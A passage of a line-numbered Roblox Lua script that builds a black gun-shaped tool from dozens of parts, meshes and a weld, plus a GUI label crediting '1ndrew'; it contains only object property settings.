  1268. TextLabel57.TextColor3 = Color3.new(0, 0, 0)
  1269. TextLabel57.TextStrokeColor3 = Color3.new(0.380392, 0.380392, 0.380392)
  1270. TextLabel57.TextStrokeTransparency = 0.5
  1271. TextLabel57.TextXAlignment = Enum.TextXAlignment.Right
  1272. TextLabel58.Parent = ScreenGui51
  1273. TextLabel58.Transparency = 50
  1274. TextLabel58.Size = UDim2.new(0, 200, 0, 50)
  1275. TextLabel58.Text = "Made by 1ndrew"
  1276. TextLabel58.BackgroundColor3 = Color3.new(1, 1, 1)
  1277. TextLabel58.BackgroundTransparency = 50
  1278. TextLabel58.BorderColor3 = Color3.new(1, 1, 1)
  1279. TextLabel58.Font = Enum.Font.SourceSans
  1280. TextLabel58.FontSize = Enum.FontSize.Size14
  1281. TextLabel58.TextColor3 = Color3.new(0, 0, 1)
  1282. Part59.Parent = Tool0
  1283. Part59.Material = Enum.Material.SmoothPlastic
  1284. Part59.BrickColor = BrickColor.new("Black")
  1285. Part59.Anchored = true
  1286. Part59.FormFactor = Enum.FormFactor.Custom
  1287. Part59.Size = Vector3.new(0.200000003, 0.200000003, 0.392593354)
  1288. Part59.CFrame = CFrame.new(34.5, 1.39414203, -12.7666616, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1289. Part59.BottomSurface = Enum.SurfaceType.Smooth
  1290. Part59.TopSurface = Enum.SurfaceType.Smooth
  1291. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1292. Part59.Position = Vector3.new(34.5, 1.39414203, -12.7666616)
  1293. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1294. BlockMesh60.Parent = Part59
  1295. BlockMesh60.Scale = Vector3.new(0.814815104, 0.77777797, 1)
  1296. BlockMesh60.Scale = Vector3.new(0.814815104, 0.77777797, 1)
  1297. Part61.Parent = Tool0
  1298. Part61.Material = Enum.Material.SmoothPlastic
  1299. Part61.BrickColor = BrickColor.new("Black")
  1300. Part61.Reflectance = 0.20000000298023
  1301. Part61.Rotation = Vector3.new(0, 0, 180)
  1302. Part61.Anchored = true
  1303. Part61.FormFactor = Enum.FormFactor.Custom
  1304. Part61.Size = Vector3.new(0.207407504, 0.200000003, 0.200000003)
  1305. Part61.CFrame = CFrame.new(34.5, 1.48300803, -13.3888435, -1, -0, 0, -0, -1, 4.37113883e-08, -0, -0, 1)
  1306. Part61.BottomSurface = Enum.SurfaceType.Smooth
  1307. Part61.TopSurface = Enum.SurfaceType.Smooth
  1308. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1309. Part61.Position = Vector3.new(34.5, 1.48300803, -13.3888435)
  1310. Part61.Orientation = Vector3.new(0, 0, -180)
  1311. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1312. SpecialMesh62.Parent = Part61
  1313. SpecialMesh62.Scale = Vector3.new(1, 0.777777731, 0.77777797)
  1314. SpecialMesh62.MeshType = Enum.MeshType.Wedge
  1315. SpecialMesh62.Scale = Vector3.new(1, 0.777777731, 0.77777797)
  1316. Part63.Parent = Tool0
  1317. Part63.Material = Enum.Material.SmoothPlastic
  1318. Part63.BrickColor = BrickColor.new("Black")
  1319. Part63.Rotation = Vector3.new(90, 0, -180)
  1320. Part63.Anchored = true
  1321. Part63.FormFactor = Enum.FormFactor.Custom
  1322. Part63.Size = Vector3.new(0.200000003, 0.511111021, 0.200000003)
  1323. Part63.CFrame = CFrame.new(34.3408203, 1.957129, -11.2777596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  1324. Part63.BottomSurface = Enum.SurfaceType.Smooth
  1325. Part63.TopSurface = Enum.SurfaceType.Smooth
  1326. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1327. Part63.Position = Vector3.new(34.3408203, 1.957129, -11.2777596)
  1328. Part63.Orientation = Vector3.new(90, 180, 0)
  1329. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1330. CylinderMesh64.Parent = Part63
  1331. CylinderMesh64.Scale = Vector3.new(0.70370388, 1, 0.592592716)
  1332. CylinderMesh64.Scale = Vector3.new(0.70370388, 1, 0.592592716)
  1333. Part65.Parent = Tool0
  1334. Part65.Material = Enum.Material.SmoothPlastic
  1335. Part65.BrickColor = BrickColor.new("Black")
  1336. Part65.Rotation = Vector3.new(180, 0, 45)
  1337. Part65.Anchored = true
  1338. Part65.FormFactor = Enum.FormFactor.Custom
  1339. Part65.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1340. Part65.CFrame = CFrame.new(34.4628906, 1.86215794, -11.2036743, 0.70710665, -0.70710659, -0, -0.70710659, -0.70710665, -0, 0, -0, -1)
  1341. Part65.BottomSurface = Enum.SurfaceType.Smooth
  1342. Part65.TopSurface = Enum.SurfaceType.Smooth
  1343. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1344. Part65.Position = Vector3.new(34.4628906, 1.86215794, -11.2036743)
  1345. Part65.Orientation = Vector3.new(0, -180, -135)
  1346. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1347. BlockMesh66.Parent = Part65
  1348. BlockMesh66.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1349. BlockMesh66.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1350. Part67.Parent = Tool0
  1351. Part67.Material = Enum.Material.SmoothPlastic
  1352. Part67.BrickColor = BrickColor.new("Black")
  1353. Part67.Rotation = Vector3.new(180, 0, 45)
  1354. Part67.Anchored = true
  1355. Part67.FormFactor = Enum.FormFactor.Custom
  1356. Part67.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1357. Part67.CFrame = CFrame.new(34.4655762, 1.87509596, -11.2036743, 0.70710665, -0.70710659, -0, -0.70710659, -0.70710665, -0, 0, -0, -1)
  1358. Part67.BottomSurface = Enum.SurfaceType.Smooth
  1359. Part67.TopSurface = Enum.SurfaceType.Smooth
  1360. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1361. Part67.Position = Vector3.new(34.4655762, 1.87509596, -11.2036743)
  1362. Part67.Orientation = Vector3.new(0, -180, -135)
  1363. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1364. BlockMesh68.Parent = Part67
  1365. BlockMesh68.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1366. BlockMesh68.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1367. Part69.Parent = Tool0
  1368. Part69.Material = Enum.Material.SmoothPlastic
  1369. Part69.BrickColor = BrickColor.new("Black")
  1370. Part69.Reflectance = 0.20000000298023
  1371. Part69.Rotation = Vector3.new(0, 0, -90)
  1372. Part69.Anchored = true
  1373. Part69.FormFactor = Enum.FormFactor.Custom
  1374. Part69.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1375. Part69.CFrame = CFrame.new(34.5593262, 1.67563403, -9.38519192, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
  1376. Part69.BottomSurface = Enum.SurfaceType.Smooth
  1377. Part69.TopSurface = Enum.SurfaceType.Smooth
  1378. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1379. Part69.Position = Vector3.new(34.5593262, 1.67563403, -9.38519192)
  1380. Part69.Orientation = Vector3.new(0, 0, -90)
  1381. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1382. SpecialMesh70.Parent = Part69
  1383. SpecialMesh70.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1384. SpecialMesh70.MeshType = Enum.MeshType.Wedge
  1385. SpecialMesh70.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1386. Part71.Parent = Tool0
  1387. Part71.Material = Enum.Material.SmoothPlastic
  1388. Part71.BrickColor = BrickColor.new("Black")
  1389. Part71.Reflectance = 0.20000000298023
  1390. Part71.Rotation = Vector3.new(90, 0, 180)
  1391. Part71.Anchored = true
  1392. Part71.FormFactor = Enum.FormFactor.Custom
  1393. Part71.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1394. Part71.CFrame = CFrame.new(34.4481201, 1.67563403, -9.39257813, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
  1395. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1396. Part71.TopSurface = Enum.SurfaceType.Smooth
  1397. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1398. Part71.Position = Vector3.new(34.4481201, 1.67563403, -9.39257813)
  1399. Part71.Orientation = Vector3.new(89.9599991, 0, -180)
  1400. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1401. BlockMesh72.Parent = Part71
  1402. BlockMesh72.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  1403. BlockMesh72.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
  1404. Part73.Parent = Tool0
  1405. Part73.Material = Enum.Material.SmoothPlastic
  1406. Part73.BrickColor = BrickColor.new("Black")
  1407. Part73.Rotation = Vector3.new(0, 0, -90)
  1408. Part73.Anchored = true
  1409. Part73.FormFactor = Enum.FormFactor.Custom
  1410. Part73.Size = Vector3.new(0.200000003, 0.200000003, 1.34074676)
  1411. Part73.CFrame = CFrame.new(34.6185303, 1.42001903, -9.67034817, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  1412. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1413. Part73.TopSurface = Enum.SurfaceType.Smooth
  1414. Part73.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1415. Part73.Position = Vector3.new(34.6185303, 1.42001903, -9.67034817)
  1416. Part73.Orientation = Vector3.new(0, 0, -90)
  1417. Part73.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1418. BlockMesh74.Parent = Part73
  1419. BlockMesh74.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  1420. BlockMesh74.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
  1421. Part75.Parent = Tool0
  1422. Part75.Material = Enum.Material.SmoothPlastic
  1423. Part75.BrickColor = BrickColor.new("Black")
  1424. Part75.Reflectance = 0.20000000298023
  1425. Part75.Anchored = true
  1426. Part75.FormFactor = Enum.FormFactor.Custom
  1427. Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.903704822)
  1428. Part75.CFrame = CFrame.new(34.5, 1.34970605, -13.1777344, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1429. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1430. Part75.TopSurface = Enum.SurfaceType.Smooth
  1431. Part75.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1432. Part75.Position = Vector3.new(34.5, 1.34970605, -13.1777344)
  1433. Part75.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1434. BlockMesh76.Parent = Part75
  1435. BlockMesh76.Scale = Vector3.new(0.888889134, 0.555555582, 1)
  1436. BlockMesh76.Scale = Vector3.new(0.888889134, 0.555555582, 1)
  1437. Part77.Parent = Tool0
  1438. Part77.Material = Enum.Material.SmoothPlastic
  1439. Part77.BrickColor = BrickColor.new("Black")
  1440. Part77.Reflectance = 0.20000000298023
  1441. Part77.Rotation = Vector3.new(-90, 0, 0)
  1442. Part77.Anchored = true
  1443. Part77.FormFactor = Enum.FormFactor.Custom
  1444. Part77.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1445. Part77.CFrame = CFrame.new(34.4963379, 1.67563403, -12.0296021, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  1446. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1447. Part77.TopSurface = Enum.SurfaceType.Smooth
  1448. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1449. Part77.Position = Vector3.new(34.4963379, 1.67563403, -12.0296021)
  1450. Part77.Orientation = Vector3.new(-90, 0, 0)
  1451. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1452. BlockMesh78.Parent = Part77
  1453. BlockMesh78.Scale = Vector3.new(0.481481433, 0.629629731, 0.370370358)
  1454. BlockMesh78.Scale = Vector3.new(0.481481433, 0.629629731, 0.370370358)
  1455. ManualWeld79.Name = "Part-to-AimPart Strong Joint"
  1456. ManualWeld79.Parent = Part77
  1457. ManualWeld79.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1458. ManualWeld79.C1 = CFrame.new(0.0999984741, -0.0962898731, -0.251852036, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  1459. ManualWeld79.Part0 = Part77
  1460. ManualWeld79.Part1 = Part237
  1461. Part80.Parent = Tool0
  1462. Part80.Material = Enum.Material.SmoothPlastic
  1463. Part80.BrickColor = BrickColor.new("Black")
  1464. Part80.Rotation = Vector3.new(0, 0, -135)
  1465. Part80.Anchored = true
  1466. Part80.FormFactor = Enum.FormFactor.Custom
  1467. Part80.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1468. Part80.CFrame = CFrame.new(34.5277061, 1.87509596, -11.2036743, -0.70710665, 0.70710659, 0, -0.70710659, -0.70710665, 0, -0, 0, 1)
  1469. Part80.BottomSurface = Enum.SurfaceType.Smooth
  1470. Part80.TopSurface = Enum.SurfaceType.Smooth
  1471. Part80.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1472. Part80.Position = Vector3.new(34.5277061, 1.87509596, -11.2036743)
  1473. Part80.Orientation = Vector3.new(0, 0, -135)
  1474. Part80.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1475. BlockMesh81.Parent = Part80
  1476. BlockMesh81.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1477. BlockMesh81.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
  1478. Part82.Parent = Tool0
  1479. Part82.Material = Enum.Material.SmoothPlastic
  1480. Part82.BrickColor = BrickColor.new("Dark stone grey")
  1481. Part82.Rotation = Vector3.new(-6.46000004, 0, 0)
  1482. Part82.Anchored = true
  1483. Part82.FormFactor = Enum.FormFactor.Custom
  1484. Part82.Size = Vector3.new(0.200000003, 1.08148146, 0.414814621)
  1485. Part82.CFrame = CFrame.new(34.5074463, 0.560645998, -11.1689396, 1, 0, 0, 0, 0.993658066, 0.11244528, 0, -0.11244528, 0.993658066)
  1486. Part82.BottomSurface = Enum.SurfaceType.Smooth
  1487. Part82.TopSurface = Enum.SurfaceType.Smooth
  1488. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1489. Part82.Position = Vector3.new(34.5074463, 0.560645998, -11.1689396)
  1490. Part82.Orientation = Vector3.new(-6.46000004, 0, 0)
  1491. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1492. BlockMesh83.Parent = Part82
  1493. BlockMesh83.Scale = Vector3.new(0.740740716, 1, 1)
  1494. BlockMesh83.Scale = Vector3.new(0.740740716, 1, 1)
  1495. Part84.Parent = Tool0
  1496. Part84.BrickColor = BrickColor.new("Black")
  1497. Part84.Reflectance = 0.20000000298023
  1498. Part84.Anchored = true
  1499. Part84.FormFactor = Enum.FormFactor.Custom
  1500. Part84.Size = Vector3.new(0.207407534, 0.200000003, 1.56296682)
  1501. Part84.CFrame = CFrame.new(34.5, 1.19785094, -11.7888784, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1502. Part84.BottomSurface = Enum.SurfaceType.Smooth
  1503. Part84.TopSurface = Enum.SurfaceType.Smooth
  1504. Part84.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1505. Part84.Position = Vector3.new(34.5, 1.19785094, -11.7888784)
  1506. Part84.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1507. BlockMesh85.Parent = Part84
  1508. BlockMesh85.Scale = Vector3.new(1, 0.703703225, 1)
  1509. BlockMesh85.Scale = Vector3.new(1, 0.703703225, 1)
  1510. Part86.Parent = Tool0
  1511. Part86.Material = Enum.Material.SmoothPlastic
  1512. Part86.BrickColor = BrickColor.new("Black")
  1513. Part86.Reflectance = 0.20000000298023
  1514. Part86.Anchored = true
  1515. Part86.FormFactor = Enum.FormFactor.Custom
  1516. Part86.Size = Vector3.new(0.200000003, 0.200000003, 0.447407693)
  1517. Part86.CFrame = CFrame.new(34.5037842, 0.720070004, -11.7244263, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1518. Part86.BottomSurface = Enum.SurfaceType.Smooth
  1519. Part86.TopSurface = Enum.SurfaceType.Smooth
  1520. Part86.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1521. Part86.Position = Vector3.new(34.5037842, 0.720070004, -11.7244263)
  1522. Part86.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1523. BlockMesh87.Parent = Part86
  1524. BlockMesh87.Scale = Vector3.new(0.555555701, 0.222222224, 1)
  1525. BlockMesh87.Scale = Vector3.new(0.555555701, 0.222222224, 1)
  1526. Part88.Parent = Tool0
  1527. Part88.Material = Enum.Material.SmoothPlastic
  1528. Part88.BrickColor = BrickColor.new("Black")
  1529. Part88.Reflectance = 0.20000000298023
  1530. Part88.Rotation = Vector3.new(-180, 0, 0)
  1531. Part88.Anchored = true
  1532. Part88.FormFactor = Enum.FormFactor.Custom
  1533. Part88.Size = Vector3.new(0.207407445, 0.200000003, 0.459259093)
  1534. Part88.CFrame = CFrame.new(34.5, 1.06821096, -11.2370005, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  1535. Part88.BottomSurface = Enum.SurfaceType.Smooth
  1536. Part88.TopSurface = Enum.SurfaceType.Smooth
  1537. Part88.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1538. Part88.Position = Vector3.new(34.5, 1.06821096, -11.2370005)
  1539. Part88.Orientation = Vector3.new(0, 180, 180)
  1540. Part88.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1541. SpecialMesh89.Parent = Part88
  1542. SpecialMesh89.Scale = Vector3.new(1, 0.5925892, 1)
  1543. SpecialMesh89.MeshType = Enum.MeshType.Wedge
  1544. SpecialMesh89.Scale = Vector3.new(1, 0.5925892, 1)
  1545. Part90.Parent = Tool0
  1546. Part90.Material = Enum.Material.SmoothPlastic
  1547. Part90.BrickColor = BrickColor.new("Black")
  1548. Part90.Reflectance = 0.20000000298023
  1549. Part90.Rotation = Vector3.new(0, 0, 90)
  1550. Part90.Anchored = true
  1551. Part90.FormFactor = Enum.FormFactor.Custom
  1552. Part90.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1553. Part90.CFrame = CFrame.new(34.5444336, 1.67563403, -9.34069824, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  1554. Part90.BottomSurface = Enum.SurfaceType.Smooth
  1555. Part90.TopSurface = Enum.SurfaceType.Smooth
  1556. Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1557. Part90.Position = Vector3.new(34.5444336, 1.67563403, -9.34069824)
  1558. Part90.Orientation = Vector3.new(0, 0, 90)
  1559. Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1560. SpecialMesh91.Parent = Part90
  1561. SpecialMesh91.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1562. SpecialMesh91.MeshType = Enum.MeshType.Wedge
  1563. SpecialMesh91.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1564. Part92.Parent = Tool0
  1565. Part92.BrickColor = BrickColor.new("Black")
  1566. Part92.Reflectance = 0.20000000298023
  1567. Part92.Rotation = Vector3.new(-180, 0, -180)
  1568. Part92.Anchored = true
  1569. Part92.FormFactor = Enum.FormFactor.Custom
  1570. Part92.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1571. Part92.CFrame = CFrame.new(34.4963379, 1.67563403, -9.10735989, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  1572. Part92.BottomSurface = Enum.SurfaceType.Smooth
  1573. Part92.TopSurface = Enum.SurfaceType.Smooth
  1574. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1575. Part92.Position = Vector3.new(34.4963379, 1.67563403, -9.10735989)
  1576. Part92.Orientation = Vector3.new(0, 180, 0)
  1577. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1578. SpecialMesh93.Parent = Part92
  1579. SpecialMesh93.Scale = Vector3.new(0.481481612, 0.370366931, 0.555555344)
  1580. SpecialMesh93.MeshType = Enum.MeshType.Wedge
  1581. SpecialMesh93.Scale = Vector3.new(0.481481612, 0.370366931, 0.555555344)
  1582. Part94.Parent = Tool0
  1583. Part94.Material = Enum.Material.SmoothPlastic
  1584. Part94.BrickColor = BrickColor.new("Black")
  1585. Part94.Anchored = true
  1586. Part94.FormFactor = Enum.FormFactor.Custom
  1587. Part94.Size = Vector3.new(0.200000003, 0.200000003, 3.24444962)
  1588. Part94.CFrame = CFrame.new(34.4963379, 1.61630905, -10.6221924, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1589. Part94.BottomSurface = Enum.SurfaceType.Smooth
  1590. Part94.TopSurface = Enum.SurfaceType.Smooth
  1591. Part94.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1592. Part94.Position = Vector3.new(34.4963379, 1.61630905, -10.6221924)
  1593. Part94.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1594. BlockMesh95.Parent = Part94
  1595. BlockMesh95.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1596. BlockMesh95.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1597. Part96.Parent = Tool0
  1598. Part96.Material = Enum.Material.SmoothPlastic
  1599. Part96.BrickColor = BrickColor.new("Black")
  1600. Part96.Rotation = Vector3.new(-90, 0, 180)
  1601. Part96.Anchored = true
  1602. Part96.Size = Vector3.new(1, 1.20000005, 1)
  1603. Part96.CFrame = CFrame.new(34.4979248, 2.04453301, -11.0795898, -1, -2.98023224e-08, -4.05622691e-09, -5.58793678e-09, 0, 1, 2.98023224e-08, 1.00000012, 9.34504296e-09)
  1604. Part96.BottomSurface = Enum.SurfaceType.Smooth
  1605. Part96.TopSurface = Enum.SurfaceType.Smooth
  1606. Part96.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1607. Part96.Position = Vector3.new(34.4979248, 2.04453301, -11.0795898)
  1608. Part96.Orientation = Vector3.new(-90, 180, 0)
  1609. Part96.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1610. CylinderMesh97.Parent = Part96
  1611. CylinderMesh97.Scale = Vector3.new(0.0148148155, 0.00370370364, 0.0148148155)
  1612. CylinderMesh97.Scale = Vector3.new(0.0148148155, 0.00370370364, 0.0148148155)
  1613. Part98.Parent = Tool0
  1614. Part98.Material = Enum.Material.SmoothPlastic
  1615. Part98.BrickColor = BrickColor.new("Black")
  1616. Part98.Reflectance = 0.20000000298023
  1617. Part98.Anchored = true
  1618. Part98.FormFactor = Enum.FormFactor.Custom
  1619. Part98.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1620. Part98.CFrame = CFrame.new(34.6074219, 1.17929804, -11.4370117, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1621. Part98.BottomSurface = Enum.SurfaceType.Smooth
  1622. Part98.TopSurface = Enum.SurfaceType.Smooth
  1623. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1624. Part98.Position = Vector3.new(34.6074219, 1.17929804, -11.4370117)
  1625. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1626. BlockMesh99.Parent = Part98
  1627. BlockMesh99.Scale = Vector3.new(0.0370370373, 0.22222206, 0.518538475)
  1628. BlockMesh99.Scale = Vector3.new(0.0370370373, 0.22222206, 0.518538475)
  1629. Part100.Parent = Tool0
  1630. Part100.Material = Enum.Material.SmoothPlastic
  1631. Part100.BrickColor = BrickColor.new("Black")
  1632. Part100.Reflectance = 0.20000000298023
  1633. Part100.Rotation = Vector3.new(0, 0, -90)
  1634. Part100.Anchored = true
  1635. Part100.FormFactor = Enum.FormFactor.Custom
  1636. Part100.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1637. Part100.CFrame = CFrame.new(34.4630127, 1.67563403, -9.31847382, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
  1638. Part100.BottomSurface = Enum.SurfaceType.Smooth
  1639. Part100.TopSurface = Enum.SurfaceType.Smooth
  1640. Part100.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1641. Part100.Position = Vector3.new(34.4630127, 1.67563403, -9.31847382)
  1642. Part100.Orientation = Vector3.new(0, 0, -90)
  1643. Part100.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1644. SpecialMesh101.Parent = Part100
  1645. SpecialMesh101.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1646. SpecialMesh101.MeshType = Enum.MeshType.Wedge
  1647. SpecialMesh101.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1648. Part102.Parent = Tool0
  1649. Part102.Material = Enum.Material.SmoothPlastic
  1650. Part102.BrickColor = BrickColor.new("Black")
  1651. Part102.Anchored = true
  1652. Part102.FormFactor = Enum.FormFactor.Custom
  1653. Part102.Size = Vector3.new(0.200000003, 0.200000003, 0.481481224)
  1654. Part102.CFrame = CFrame.new(34.4963379, 1.64218795, -11.2851563, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1655. Part102.BottomSurface = Enum.SurfaceType.Smooth
  1656. Part102.TopSurface = Enum.SurfaceType.Smooth
  1657. Part102.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1658. Part102.Position = Vector3.new(34.4963379, 1.64218795, -11.2851563)
  1659. Part102.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1660. BlockMesh103.Parent = Part102
  1661. BlockMesh103.Scale = Vector3.new(0.851851761, 0.185185179, 1)
  1662. BlockMesh103.Scale = Vector3.new(0.851851761, 0.185185179, 1)
  1663. Part104.Parent = Tool0
  1664. Part104.Material = Enum.Material.SmoothPlastic
  1665. Part104.BrickColor = BrickColor.new("Really black")
  1666. Part104.Rotation = Vector3.new(0, 0, -90)
  1667. Part104.Anchored = true
  1668. Part104.FormFactor = Enum.FormFactor.Custom
  1669. Part104.Size = Vector3.new(0.200000003, 0.200000003, 1.34074688)
  1670. Part104.CFrame = CFrame.new(34.6037598, 1.42001903, -9.67034817, -0, 1, 0, -1, 0, 4.37113883e-08, -4.37113883e-08, 0, 1)
  1671. Part104.BottomSurface = Enum.SurfaceType.Smooth
  1672. Part104.TopSurface = Enum.SurfaceType.Smooth
  1673. Part104.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1674. Part104.Position = Vector3.new(34.6037598, 1.42001903, -9.67034817)
  1675. Part104.Orientation = Vector3.new(0, 0, -90)
  1676. Part104.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1677. BlockMesh105.Parent = Part104
  1678. BlockMesh105.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1679. BlockMesh105.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  1680. Part106.Parent = Tool0
  1681. Part106.Material = Enum.Material.SmoothPlastic
  1682. Part106.BrickColor = BrickColor.new("Black")
  1683. Part106.Reflectance = 0.20000000298023
  1684. Part106.Rotation = Vector3.new(180, 0, -90)
  1685. Part106.Anchored = true
  1686. Part106.FormFactor = Enum.FormFactor.Custom
  1687. Part106.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1688. Part106.CFrame = CFrame.new(34.5593262, 1.67563403, -9.31847382, 1.91068547e-15, 1, -4.37113918e-08, 0.999999762, -2.66453526e-15, -1.49011612e-08, -1.49011612e-08, -4.37113883e-08, -0.999999762)
  1689. Part106.BottomSurface = Enum.SurfaceType.Smooth
  1690. Part106.TopSurface = Enum.SurfaceType.Smooth
  1691. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1692. Part106.Position = Vector3.new(34.5593262, 1.67563403, -9.31847382)
  1693. Part106.Orientation = Vector3.new(0, -180, 90)
  1694. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1695. SpecialMesh107.Parent = Part106
  1696. SpecialMesh107.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1697. SpecialMesh107.MeshType = Enum.MeshType.Wedge
  1698. SpecialMesh107.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
  1699. Part108.Parent = Tool0
  1700. Part108.Material = Enum.Material.SmoothPlastic
  1701. Part108.BrickColor = BrickColor.new("Really black")
  1702. Part108.Reflectance = 0.20000000298023
  1703. Part108.Rotation = Vector3.new(-120, 0, 0)
  1704. Part108.Anchored = true
  1705. Part108.FormFactor = Enum.FormFactor.Custom
  1706. Part108.Size = Vector3.new(0.200000003, 0.200000003, 0.422221959)
  1707. Part108.CFrame = CFrame.new(34.5148926, 1.035743, -10.7024536, 1, 8.92672887e-08, -3.11594022e-07, 3.14481952e-07, -0.5, 0.866025388, -7.84892933e-08, -0.866025388, -0.5)
  1708. Part108.BottomSurface = Enum.SurfaceType.Smooth
  1709. Part108.TopSurface = Enum.SurfaceType.Smooth
  1710. Part108.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1711. Part108.Position = Vector3.new(34.5148926, 1.035743, -10.7024536)
  1712. Part108.Orientation = Vector3.new(-60, -180, 180)
  1713. Part108.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1714. BlockMesh109.Parent = Part108
  1715. BlockMesh109.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1716. BlockMesh109.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1717. Part110.Parent = Tool0
  1718. Part110.Material = Enum.Material.SmoothPlastic
  1719. Part110.BrickColor = BrickColor.new("Black")
